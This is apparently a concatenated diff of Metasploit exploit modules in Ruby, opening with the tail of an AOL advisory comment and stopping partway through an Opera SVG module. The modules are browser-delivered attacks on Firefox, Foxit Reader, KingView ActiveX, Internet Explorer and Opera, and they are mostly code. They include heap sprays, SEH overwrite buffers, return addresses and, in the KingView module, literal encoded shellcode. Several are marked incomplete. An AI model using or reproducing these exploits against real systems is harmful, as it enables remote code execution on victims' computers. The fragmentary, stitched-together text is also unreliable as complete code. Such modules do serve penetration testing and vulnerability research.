The vulnerability is confirmed in AOL 9.0 Revision 4156.910. Other versions may also be affected.
|
||||
Also, according to ZDI, the software is automatically patched when the user logs on to AOL
|
||||
|
||||
WAOL_0.4327.134.zip <--- not vulnerable
|
||||
WAOL_0.4156.910.zip <--- vulnerable. But good luck finding this one.
|
||||
|
||||
https://secunia.com/advisories/24714/3/
|
||||
http://www.securityfocus.com/archive/1/archive/1/464313/100/0/threaded
|
||||
http://www.symantec.com/business/security_response/writeup.jsp?docid=2007-011917-1403-99
|
||||
http://jsunpack.jeek.org/dec/go?report=38c888e7ad2030b21c5fd240b12c5b2a8dc8015e
|
||||
|
||||
http://dev.metasploit.com/redmine/issues/5459
|
||||
=end
|
||||
@@ -0,0 +1,109 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
#
|
||||
# This module acts as an HTTP server
|
||||
#
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Remote::Egghunter
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Firefox 2.0.0.16 Unicode Link Target stack buffer overflow',
|
||||
'Description' => %q{
|
||||
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Dominic Chell <dmc@deadbeef.co.uk>', # original exploit
|
||||
'egypt', # Metasploit conversion
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2008-0016'],
|
||||
['MIL', '9663']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x5d",
|
||||
'StackAdjustment' => -3500,
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 2.0.0.15 on Windows XP SP0-SP3',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Ret' => 0x603711e7, # pop/pop/ret - xpcom_core.dll
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 25 2009'
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}")
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
hunter = generate_egghunter()
|
||||
egg = hunter[1]
|
||||
|
||||
pattern = "\x90" * 3402
|
||||
pattern << "\xeb\x10\x90\x90" # ptr to next seh
|
||||
pattern << [target.ret].pack("V")
|
||||
pattern << "\x90" * 10
|
||||
#pattern << "\xCC"
|
||||
#pattern << ((255.downto(0)).collect { |b| [b].pack("c") }).join
|
||||
pattern << hunter[0]
|
||||
pattern << "\xCC\xCC" * (5000 - pattern.length)
|
||||
|
||||
html = "<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<html>\n<body>\n"
|
||||
html << "<!CDATA[" + egg + egg + payload.encoded + "]>\n"
|
||||
html << "<a href=\""
|
||||
html << "\x01"
|
||||
html << "xx://dmc"
|
||||
html << Rex::Text.to_unicode("\xc3\xba", "utf-8")
|
||||
html << "/"
|
||||
html << entity_encode(pattern)
|
||||
html << "\" >s</a>"
|
||||
html << "\n</body>"
|
||||
html << "\n</html>"
|
||||
|
||||
print_line Rex::Text.to_hex_dump(payload.encoded)
|
||||
|
||||
send_response_html(cli, html, { "Content-Type" => "text/html;charset=utf-8" })
|
||||
end
|
||||
|
||||
def entity_encode(str)
|
||||
# make sure it's even length by padding with the last character
|
||||
(str.length % 4).times {
|
||||
str << str[str.length - 1]
|
||||
}
|
||||
enc = ""
|
||||
str.scan(/..../).each { |a|
|
||||
enc << sprintf("&#x%02x%02x;&#x%02x%02x;", a[1], a[0], a[3], a[2])
|
||||
}
|
||||
return enc
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,96 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
Rank = NormalRanking
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the Foxit Reader Plugin
|
||||
npFoxitReaderPlugin.dll. When loading PDF files from remote hosts, overly long
|
||||
query strings within URLs can cause a stack-based buffer overflow, which can be
|
||||
exploited to execute arbitrary code. This exploit has been tested on Windows XP
|
||||
Home SP3 (german) with Firefox 18.0 and Foxit Reader version 5.4.4.1128
|
||||
(npFoxitReaderPlugin.dll version 2.2.1.530).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Andrea Micalizzi (rgod)', # initial discovery and poc
|
||||
'Sven Krewitt <svnk[at]krewitt.org>' # metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ],
|
||||
[ 'URL', 'http://secunia.com/advisories/51733/' ],
|
||||
[ 'OSVDB', '89030' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 790, # TODO: exactly calculate available space
|
||||
'BadChars' => "\x7d\x00\x23\x25\x0a\x0d"
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => "none",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP Home SP3 (german)',
|
||||
{
|
||||
'Offset' => 230,
|
||||
'Ret' => 0x0142318f # PopPopRet in
|
||||
# npFoxitReaderPlugin.dll version 2.2.1.530
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jan 7 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
sploit = rand_text_alpha(target['Offset'] - request.resource.length)
|
||||
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
|
||||
sploit << [target.ret].pack('V')
|
||||
sploit << make_nops(8) + p.encoded
|
||||
sploit << rand_text_alpha(2300) # triggers access violation
|
||||
|
||||
# we use two responses:
|
||||
# one for an HTTP 301 redirect and sending the payload
|
||||
# and one for sending the HTTP 200 OK with appropriate Content-Type
|
||||
|
||||
if request.resource =~ /\.pdf$/
|
||||
# sending Content-Typ
|
||||
resp = create_response(200, "OK")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'application/pdf'
|
||||
resp['Content-Length'] = rand_text_numeric(3,"0")
|
||||
cli.send_response(resp)
|
||||
return
|
||||
else
|
||||
resp = create_response(301, "Moved Permanently")
|
||||
resp.body = ""
|
||||
resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')
|
||||
cli.send_response(resp)
|
||||
|
||||
# handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,202 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'KingView 6.5.3 KVWebSvr.dll ActiveX ValidateUser Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in KingView ActiveX control.
|
||||
Verions of KVWebSvr.dll including 6.5.3 and lower are affected. When passing
|
||||
an overly long string to the method "ValidateUser" an attacker can execute
|
||||
arbitrary code.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Carlos Mario Penagos Hollmann',#vulnerability
|
||||
'bobo'#heap spray
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-3142' ],
|
||||
[ 'OSVDB', '72889' ],
|
||||
[ 'EDB', '16936' ],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/16936/' ],
|
||||
[ 'URL', 'http://download.kingview.com/software/kingview%20English%20Version/kingview6.53_EN.rar' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'BadChars' => "\\x8b\\x93\\x83\\x8a\\x8c\\x8d\\x8f\\x8e\\x87\\x81\\x84\\x86\\x88\\x89\\x90\\x91\\x92\\x94\\x95\\x96\\x97\\x98\\x99\\x82\\x85\\x9f\\x9a\\x9e\\x9d\\x9b\\x9f\\x76",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
# KingView 6.5.3
|
||||
[ 'KngView 6.5.3 Windows XP SP3 eng IE6/7 IE8(no DEP)',
|
||||
{
|
||||
'Ret' => '0x4E20D172' # p/p/r
|
||||
}
|
||||
],
|
||||
# POC
|
||||
[
|
||||
'Debug Target (Crash)', {}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 7 2011',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def autofilter
|
||||
false
|
||||
end
|
||||
|
||||
def check_dependencies
|
||||
use_zlib
|
||||
end
|
||||
|
||||
def auto_target(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
if agent =~ /MSIE 6\.0/
|
||||
mytarget = targets[1] # IE 8
|
||||
elsif agent =~ /MSIE 7\.0/
|
||||
mytarget = targets[1]
|
||||
elsif agent =~ /MSIE 8\.0/
|
||||
mytarget = targets[1]
|
||||
else
|
||||
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
|
||||
end
|
||||
|
||||
mytarget
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
mytarget = target
|
||||
if target.name == 'Automatic'
|
||||
mytarget = auto_target(cli, request)
|
||||
unless mytarget
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@mytarget = mytarget
|
||||
@debug = true if mytarget == targets[2]
|
||||
|
||||
# Re-generate the payload.
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
if @debug
|
||||
data = <<-DATA
|
||||
<html>
|
||||
<script language='javascript'>
|
||||
vulnerable = new ActiveXObject('KVWebSvr.UserChecker.1');
|
||||
nse="\\xEB\\x06\\x90\\x90";
|
||||
seh="\\x4E\\x20\\xD1\\x72";
|
||||
nops="\\x90";
|
||||
while (nops.length<10){ nops+="\\x90";}
|
||||
shell="\\x54\\x5f\\xda\\xdf\\xd9\\x77\\xf4\\x5e\\x56\\x59\\x49\\x49\\x49\\x49\\x43\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4c\\x4b\\x5a\\x4c\\x50\\x55\\x4c\\x4b\\x5a\\x4c\\x43\\x58\\x51\\x30\\x51\\x30\\x51\\x30\\x56\\x4f\\x52\\x48\\x52\\x43\\x45\\x31\\x52\\x4c\\x43\\x53\\x4c\\x4d\\x51\\x55\\x5a\\x58\\x56\\x30\\x58\\x38\\x49\\x57\\x4d\\x43\\x49\\x52\\x54\\x37\\x4b\\x4f\\x58\\x50\\x41\\x41";
|
||||
junk1="A";
|
||||
junk2="A";
|
||||
while (junk1.length<624){ junk1+=junk1;}
|
||||
junk1=junk1.substring(0,624);
|
||||
junk2=junk1;
|
||||
while (junk2.length<8073){ junk2+=junk2;}
|
||||
arg2=junk1+nse+seh+nops+shell+junk2;
|
||||
arg1="Anything";
|
||||
vulnerable.ValidateUser(arg1 ,arg2);
|
||||
</script>
|
||||
</html>
|
||||
DATA
|
||||
|
||||
print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
|
||||
send_response(cli, data, { 'Content-Type' => 'text/html' })
|
||||
return
|
||||
end
|
||||
|
||||
# ActiveX parameters
|
||||
clsid = "F31C42E3-CBF9-4E5C-BB95-521B4E85060D"
|
||||
progid = "KVWebSvr.UserChecker.1"
|
||||
|
||||
# Encode the shellcode
|
||||
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
|
||||
js = %Q|
|
||||
var nop = unescape("%u9090%u9090");
|
||||
var shell = unescape("#{shellcode}");
|
||||
while(nop.length<=0x100000/2)
|
||||
{
|
||||
nop+=nop;
|
||||
}
|
||||
var slide = new Array();
|
||||
for(var i=0; i <200; i++)
|
||||
{
|
||||
slide[i] = nop+shell;
|
||||
}
|
||||
var nse="\\x90\\x90\\x90\\x90";
|
||||
var seh="\\x0c\\x0c\\x0c\\x0c";
|
||||
var nops="\\x90";
|
||||
var vulnerable = new ActiveXObject('#{progid}');
|
||||
while (nops.length<10){ nops+="\\x90";}
|
||||
var junk1="A";
|
||||
var junk2="A";
|
||||
while (junk1.length<624){ junk1+=junk1;}
|
||||
junk1=junk1.substring(0,624);
|
||||
junk2=junk1;
|
||||
while (junk2.length<8073){ junk2+=junk2;}
|
||||
arg2=junk1+nse+seh+nops+junk2;
|
||||
arg1="Anything";
|
||||
vulnerable.ValidateUser(arg1 ,arg2);
|
||||
|
|
||||
|
||||
#obfuscate on demand
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
end
|
||||
|
||||
# Generate the final HTML
|
||||
content = %Q|<html>
|
||||
<body>
|
||||
<script language='javascript'>
|
||||
#{js}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,87 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
|
||||
=begin
|
||||
#
|
||||
# BrowserAutopwn is no good for TcpServer modules. Must be HttpServer or dervied...
|
||||
#
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::IE,
|
||||
:javascript => true,
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:vuln_test => nil, # no way to test without just trying it
|
||||
:rank => NormalRanking # reliable memory corruption
|
||||
})
|
||||
=end
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Microsoft Internet Explorer Deflate Memory Corruption',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the deflate processing code
|
||||
of Internet Explorer.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'hdm'
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2009-1547'],
|
||||
['MSB', 'MS09-054'],
|
||||
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00",
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => '-find',
|
||||
},
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { }],
|
||||
],
|
||||
'DisclosureDate' => 'Nov 10 2009',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
OptPort.new('SRVPORT', [true, 'The listening HTTP service port', 8090])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def on_client_data(cli)
|
||||
req = cli.get_once(-1, 5)
|
||||
|
||||
print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
cli.put("HTTP \nContent-Encoding:deflate\nContent-Range:\n\n")
|
||||
cli.close
|
||||
handler(cli)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Internet Explorer createStyleSheet Uninitialized Memory',
|
||||
'Description' => %q{
|
||||
TODO
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Alexander Kornburst', # original discovery
|
||||
'Ivan Fratric', # original discovery
|
||||
'jduck' # metasploit module
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-0490' ],
|
||||
[ 'OSVDB', '63332' ],
|
||||
[ 'BID', '39031' ],
|
||||
[ 'MSB', 'MS10-018' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ '(Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista',
|
||||
{
|
||||
'Method' => 'automatic'
|
||||
}
|
||||
]
|
||||
|
||||
# Nothing specific..
|
||||
],
|
||||
'DisclosureDate' => 'Mar 30 2010',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
# Re-generate the payload
|
||||
#return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{target.name})...")
|
||||
|
||||
# Encode the shellcode
|
||||
#shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
|
||||
# Set the return\nops
|
||||
#ret = Rex::Text.to_unescape([mytarget.ret].pack('V'))
|
||||
|
||||
# Randomize the javascript variable names
|
||||
j_id = rand_text_alpha(rand(100) + 1)
|
||||
j_object = rand_text_alpha(rand(100) + 1)
|
||||
j_var1 = rand_text_alpha(rand(100) + 1)
|
||||
j_var2 = rand_text_alpha(rand(100) + 1)
|
||||
|
||||
# Construct the final page
|
||||
html = %Q|<html>
|
||||
<body>
|
||||
<a name="link1" <div id="#{j_id}">Loading graph...</div> >
|
||||
<p>
|
||||
<script type="text/javascript">
|
||||
var #{j_object} = document.getElementById('#{j_id}');
|
||||
#{j_object}.innerHTML = '';
|
||||
var #{j_var1} = document.createElement('CANVAS');
|
||||
var #{j_var2} = document.createStyleSheet();
|
||||
</script></body></html>
|
||||
|
|
||||
|
||||
# Transmit the compressed response to the client
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,145 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
#
|
||||
# This module acts as an HTTP server
|
||||
#
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,{
|
||||
'Name' => '[INCOMPLETE] Opera <= 10.50 Content-Length Memory Corruption',
|
||||
'Description' => %q{
|
||||
This module triggers a vulnerability in Opera 10.50 and 10.10 that allows
|
||||
an attacker to specify the copy length for a memcpy(). See references for more
|
||||
information.
|
||||
|
||||
In its current state, this module is only capable of causing a crash. With
|
||||
some heap sculpting it is reportedly possible to cause code execution instead.
|
||||
Unforatunately, I have not been able to achieve code exec yet :-/
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'jduck' ],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.hack0wn.com/view.php?xroot=672.0&cat=exploits' ],
|
||||
[ 'URL', 'http://secunia.com/blog/86/' ],
|
||||
[ 'URL', 'http://my.opera.com/securitygroup/blog/2010/03/09/the-malformed-content-length-header-security-issue' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'ExitFunc' => 'process',
|
||||
'Space' => 2048,
|
||||
'BadChars' => "",
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Opera 10.50 on Windows XP SP3',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Ret' => 0x0c0c0c0c,
|
||||
'BlockLen' => 0x60000,
|
||||
'Containers' => 800,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 03 2010',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Got request for: #{request.uri}")
|
||||
#print_status(request.inspect)
|
||||
|
||||
# Re-generate the payload
|
||||
#return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
|
||||
# Send the trigger when requested..
|
||||
if (request.uri =~ /boom$/)
|
||||
len = rand(0x7000)
|
||||
# below will force a crash every time
|
||||
#len = 0x0c0c0c0c
|
||||
print_status("Using length: %d" % len)
|
||||
|
||||
bignum = 11111111111111111111 - 3047977415
|
||||
bignum += len
|
||||
|
||||
content = "A" * 10240
|
||||
|
||||
response = ""
|
||||
response << "HTTP/#{request.proto} 200 OK\r\n"
|
||||
response << "Content-Type: text/html\r\n"
|
||||
response << "Content-Length: #{bignum}\r\n"
|
||||
response << "\r\n"
|
||||
response << content
|
||||
|
||||
print_status("Sending #{self.name} trigger to #{cli.peerhost}:#{cli.peerport}...")
|
||||
cli.put(response)
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
# Otherwise, setup the heap to get pwnt...
|
||||
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
html = %Q|<html>
|
||||
<head>
|
||||
<!-- <meta http-equiv="refresh" content="1" /> -->
|
||||
<script language=javascript>
|
||||
function boom()
|
||||
{
|
||||
/*
|
||||
var i;
|
||||
for (i = 0; i < 10000; i++)
|
||||
{
|
||||
var im = document.createElement('IMG');
|
||||
var id = 'img'+i.toString();
|
||||
im.setAttribute('id', id);
|
||||
im.setAttribute('height', '10');
|
||||
im.setAttribute('width', '10');
|
||||
im.onmouseover = function(event)
|
||||
{
|
||||
var im=event.currentTarget
|
||||
im.src = 'http://qoop.org/media/dep-haha.gif';
|
||||
};
|
||||
document.body.appendChild(im);
|
||||
}
|
||||
*/
|
||||
var ifr = document.createElement('IFRAME');
|
||||
ifr.src = 'REPLACE_ME';
|
||||
document.body.appendChild(ifr);
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body onload="boom()">
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
trigger_url = get_resource() + '/boom'
|
||||
html.gsub!(/REPLACE_ME/, trigger_url)
|
||||
|
||||
send_response_html(cli, html)
|
||||
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,300 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Opera Browser 10/11/12 (SVG layout) Memory Corruption',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the bad nesting with SVG tags. Successfully
|
||||
exploiting leads to remote code execution or denial of service condition under
|
||||
Windows XP SP3 (DEP = off). Best results of reliability using Opera v12.00 pre-
|
||||
alpha r1076 whereas that v11.xx will have less success (depending of opera.dll version).
|
||||
This module won't work against v10.xx because it was modified to exploit Opera
|
||||
upper to v11.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jose A. Vazquez'
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-4065'],
|
||||
['URL', 'http://www.beyondsecurity.com/ssd.html'],
|
||||
['URL', 'http://spa-s3c.blogspot.com/2011/10/spas3c-sv-006opera-browser-101112-0-day.html'], # English
|
||||
['URL', 'http://enred20.org/node/27'] # Spanish
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'HTTP::compression' => 'gzip',
|
||||
'HTTP::chunked' => true
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00",
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => '-find',
|
||||
},
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# spray of ~ 450 MB
|
||||
[ 'Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)',
|
||||
{
|
||||
'SizeofSpray' => 900,
|
||||
'Ret' => 0x0c0c0c0c
|
||||
}
|
||||
]
|
||||
],
|
||||
# 'DisclosureDate' => '0day',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
mytarget = target
|
||||
|
||||
if(request.uri =~ /\.xhtml$/)
|
||||
|
||||
#Send file for trigger the vulnerability
|
||||
# might not be necessary
|
||||
html = %Q|
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:svt="http://www.w3.org/2000/svg">
|
||||
<head>
|
||||
|
||||
</head>
|
||||
<select1 style = 'padding-bottom: 8711px;background-image: url("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");' >
|
||||
<svt:svg>
|
||||
<svt:title style = 'pointer-events: visiblePainted;font: normal small-caps 120%/120% fantasy;' >
|
||||
<svt:svg>
|
||||
<svt:font>
|
||||
<svt:animateMotion>
|
||||
feFuncR
|
||||
</svt:animateMotion>
|
||||
</svt:font>
|
||||
</svt:svg>
|
||||
</svt:title>
|
||||
</svt:svg>
|
||||
</select1>
|
||||
</html>
|
||||
|
|
||||
|
||||
#Send triggerer
|
||||
print_status("Sending stage 2 (Triggering the vulnerability)")
|
||||
var_contentype = 'application/xhtml+xml'
|
||||
|
||||
else
|
||||
|
||||
#Sending init HTML
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})")
|
||||
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
